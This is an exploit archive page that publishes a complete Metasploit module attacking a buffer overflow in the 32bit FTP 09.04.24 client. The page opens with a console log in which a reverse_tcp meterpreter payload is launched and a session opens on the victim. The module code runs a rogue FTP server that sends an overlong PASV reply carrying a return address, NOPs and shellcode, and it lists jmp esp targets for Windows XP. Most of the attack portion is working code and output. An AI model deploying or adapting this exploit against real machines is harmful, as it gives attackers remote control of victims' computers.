the last unbiased stronghold

32bit FTP PASV Overflow

32bit FTP PASV Overflow
Posted May 8, 2009
Authored by His0k4

This Metasploit module exploits a buffer overflow in the 32bit FTP 09.04.24 client that is triggered through an excessively long PASV reply command.

tags | exploit, overflow
MD5 | c83ff27b22fb93ad4d4c3d82337d0f76

32bit FTP PASV Overflow

Change Mirror Download
#msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp
#PAYLOAD => windows/meterpreter/reverse_tcp
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2
#LHOST => 192.168.1.2
#msf exploit(32bitftp_pasv) > exploit
#[*] Exploit running as background job.
#msf exploit(32bitftp_pasv) >
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Server started.
# Victim connecting to the malicious ftp server.
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)
#[*] Sleeping before handling stage...
#[*] Uploading DLL (75787 bytes)...
#[*] Upload completed.
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)

##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the 32bit FTP 09.04.24
client that is triggered through an excessively long PASV reply command
},
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 6528 $',
'References' =>
[
[ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
[ 'BID', '34838' ],
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Tested against xp SP3 english
[ 'Windows XP SP3 English', { 'Ret' => 0x7c868667 } ], # jmp esp kernel32.dll
[ 'Windows XP SP2 French', { 'Ret' => 0x7C82385D } ], # call esp kernel32.dll
],
'Privileged' => false,
'DisclosureDate' => 'Mai 06 2009',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
client.put(buffer)
end

def on_client_data(client)


client.get_once

user = "331 Please specify the password.\r\n"
client.put(user)

client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)

client.get_once
pwd = "257 \"/\"\r\n"
client.put(pwd)

client.get_once
type = "200 Switching to ASCII mode.\r\n"
client.put(type)

client.get_once
pasv = "227 Entering Passive Mode ("
pasv << rand_text_numeric(966)
pasv << [target.ret].pack('V')
pasv << make_nops(20)
pasv << payload.encoded
pasv << ")\r\n"

client.put(pasv)

handler(client)
service.close_client(client)
end
end


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close